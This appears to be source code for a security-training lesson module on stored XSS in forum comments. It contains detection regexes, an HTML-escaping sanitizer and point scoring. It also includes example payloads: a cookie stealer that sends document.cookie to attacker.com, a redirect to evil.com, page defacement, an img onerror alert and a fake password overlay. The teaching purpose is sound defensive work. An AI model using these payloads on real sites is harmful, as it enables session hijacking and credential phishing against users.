237 lines
7.3 KiB
JavaScript
237 lines
7.3 KiB
JavaScript
const LessonModule = require('../base/LessonModule');
|
|
|
|
/**
|
|
* Forum Script Injection Lesson
|
|
* Demonstrates stored XSS vulnerabilities in comment systems
|
|
*/
|
|
class ForumScriptInjectionLesson extends LessonModule {
|
|
constructor(config) {
|
|
super(config);
|
|
}
|
|
|
|
/**
|
|
* Detect script injection in comment content
|
|
* @param {string} content - Comment content
|
|
* @returns {boolean} True if script detected
|
|
*/
|
|
detectScriptInjection(content) {
|
|
const patterns = [
|
|
/<script[\s\S]*?>/gi,
|
|
/on\w+\s*=/gi,
|
|
/javascript:/gi,
|
|
/<iframe/gi,
|
|
/<object/gi,
|
|
/<embed/gi,
|
|
/<svg[^>]+onload/gi,
|
|
/<img[^>]+onerror/gi
|
|
];
|
|
|
|
return patterns.some(pattern => pattern.test(content));
|
|
}
|
|
|
|
/**
|
|
* Analyze injection type
|
|
* @param {string} content - Comment content
|
|
* @returns {Object} Analysis result
|
|
*/
|
|
analyzeInjection(content) {
|
|
if (/<script[\s\S]*?>/gi.test(content)) {
|
|
return {
|
|
type: 'SCRIPT_TAG',
|
|
severity: 'high',
|
|
description: 'Script tag injection detected. Can execute arbitrary JavaScript.',
|
|
example: 'Steals cookies, hijacks sessions, or redirects users.'
|
|
};
|
|
}
|
|
|
|
if (/on\w+\s*=/gi.test(content)) {
|
|
return {
|
|
type: 'EVENT_HANDLER',
|
|
severity: 'high',
|
|
description: 'Event handler injection detected. Executes code on user interaction.',
|
|
example: 'Triggers malicious code when user clicks or hovers.'
|
|
};
|
|
}
|
|
|
|
if (/javascript:/gi.test(content)) {
|
|
return {
|
|
type: 'JAVASCRIPT_PROTOCOL',
|
|
severity: 'medium',
|
|
description: 'JavaScript protocol detected. Can execute code when clicked.',
|
|
example: 'Often used in links to execute JavaScript.'
|
|
};
|
|
}
|
|
|
|
if (/<iframe/gi.test(content)) {
|
|
return {
|
|
type: 'IFRAME',
|
|
severity: 'high',
|
|
description: 'IFrame injection detected. Can embed malicious external content.',
|
|
example: 'Loads phishing pages or malware from external sources.'
|
|
};
|
|
}
|
|
|
|
if (/<img[^>]+onerror/gi.test(content)) {
|
|
return {
|
|
type: 'IMG_ONERROR',
|
|
severity: 'high',
|
|
description: 'Image error handler injection detected.',
|
|
example: 'Always executes when using invalid image source.'
|
|
};
|
|
}
|
|
|
|
return {
|
|
type: 'NONE',
|
|
severity: 'none',
|
|
description: 'No script injection detected.',
|
|
example: 'Content appears safe.'
|
|
};
|
|
}
|
|
|
|
/**
|
|
* Sanitize comment for display
|
|
* @param {string} content - Comment content
|
|
* @returns {string} Sanitized content
|
|
*/
|
|
sanitizeComment(content) {
|
|
return content
|
|
.replace(/&/g, '&')
|
|
.replace(/</g, '<')
|
|
.replace(/>/g, '>')
|
|
.replace(/"/g, '"')
|
|
.replace(/'/g, ''');
|
|
}
|
|
|
|
/**
|
|
* Add a comment to the forum (simulated)
|
|
* Called via executeLessonAction endpoint
|
|
* @param {string} participantId - Participant identifier
|
|
* @param {string} author - Comment author name
|
|
* @param {string} content - Comment content
|
|
* @param {string} stepId - Step identifier
|
|
* @param {number} eventLessonId - Event lesson ID for point awards
|
|
* @returns {Object} Comment data with injection analysis
|
|
*/
|
|
async addComment(participantId, author, content, stepId, eventLessonId) {
|
|
const hasInjection = this.detectScriptInjection(content);
|
|
const analysis = this.analyzeInjection(content);
|
|
const sanitized = this.sanitizeComment(content);
|
|
|
|
// Award points based on injection type discovered
|
|
let pointsAwarded = 0;
|
|
if (hasInjection && participantId && eventLessonId) {
|
|
const pointsMap = {
|
|
'SCRIPT_TAG': 40, // Classic script tag
|
|
'EVENT_HANDLER': 35, // Event handler injection
|
|
'JAVASCRIPT_PROTOCOL': 25, // JavaScript protocol
|
|
'IFRAME': 45, // IFrame embedding
|
|
'IMG_ONERROR': 40, // Image error XSS
|
|
'NONE': 0
|
|
};
|
|
|
|
pointsAwarded = pointsMap[analysis.type] || 20;
|
|
|
|
if (pointsAwarded > 0) {
|
|
try {
|
|
await this.awardPoints(participantId, eventLessonId, pointsAwarded,
|
|
`Stored XSS discovered: ${analysis.type}`);
|
|
} catch (error) {
|
|
console.error('Failed to award XSS points:', error);
|
|
}
|
|
}
|
|
}
|
|
|
|
return {
|
|
id: Date.now(),
|
|
author: author || 'Anonymous',
|
|
content: content,
|
|
sanitizedContent: sanitized,
|
|
timestamp: new Date().toISOString(),
|
|
hasInjection,
|
|
injectionType: analysis.type,
|
|
injectionSeverity: analysis.severity,
|
|
injectionDescription: analysis.description,
|
|
injectionExample: analysis.example,
|
|
pointsAwarded
|
|
};
|
|
}
|
|
|
|
/**
|
|
* Get interactive data for forum demo step
|
|
* @param {string} stepId - Step identifier
|
|
* @returns {Object} Interactive component data
|
|
*/
|
|
async getInteractiveData(stepId) {
|
|
if (stepId === 'forum-demo') {
|
|
return {
|
|
forumPost: {
|
|
id: 1,
|
|
title: 'Welcome to the Security Forum!',
|
|
author: 'Admin',
|
|
content: 'This is a demonstration forum for learning about stored XSS vulnerabilities. Feel free to post comments below. Try both safe comments and XSS payloads to see how the system detects them.',
|
|
timestamp: '2026-02-08T10:00:00Z'
|
|
},
|
|
initialComments: [
|
|
{
|
|
id: 1,
|
|
author: 'Alice',
|
|
content: 'Great post! Looking forward to learning about security.',
|
|
timestamp: '2026-02-08T10:05:00Z',
|
|
hasInjection: false
|
|
},
|
|
{
|
|
id: 2,
|
|
author: 'Bob',
|
|
content: 'Thanks for sharing this information.',
|
|
timestamp: '2026-02-08T10:10:00Z',
|
|
hasInjection: false
|
|
},
|
|
{
|
|
id: 3,
|
|
author: 'Charlie',
|
|
content: 'Very informative! Can\'t wait to try the demos.',
|
|
timestamp: '2026-02-08T10:15:00Z',
|
|
hasInjection: false
|
|
}
|
|
],
|
|
examplePayloads: [
|
|
{
|
|
label: 'Cookie Stealer',
|
|
author: 'Attacker',
|
|
payload: '<script>fetch(\'http://attacker.com/steal?c=\'+document.cookie)</script>',
|
|
description: 'Attempts to steal session cookies'
|
|
},
|
|
{
|
|
label: 'Redirect Attack',
|
|
author: 'Malicious User',
|
|
payload: '<script>window.location=\'http://evil.com\'</script>',
|
|
description: 'Redirects users to malicious site'
|
|
},
|
|
{
|
|
label: 'DOM Manipulation',
|
|
author: 'Hacker',
|
|
payload: '<script>document.body.innerHTML=\'<h1>Site Hacked!</h1>\'</script>',
|
|
description: 'Defaces the website'
|
|
},
|
|
{
|
|
label: 'Image Onerror XSS',
|
|
author: 'Sneaky',
|
|
payload: '<img src=x onerror="alert(\'XSS Vulnerability\')">',
|
|
description: 'Executes code via image error handler'
|
|
},
|
|
{
|
|
label: 'Phishing Overlay',
|
|
author: 'Phisher',
|
|
payload: '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><form>Password: <input type="password"></form></div>',
|
|
description: 'Creates fake login overlay'
|
|
}
|
|
]
|
|
};
|
|
}
|
|
|
|
return await super.getInteractiveData(stepId);
|
|
}
|
|
}
|
|
|
|
module.exports = ForumScriptInjectionLesson;
|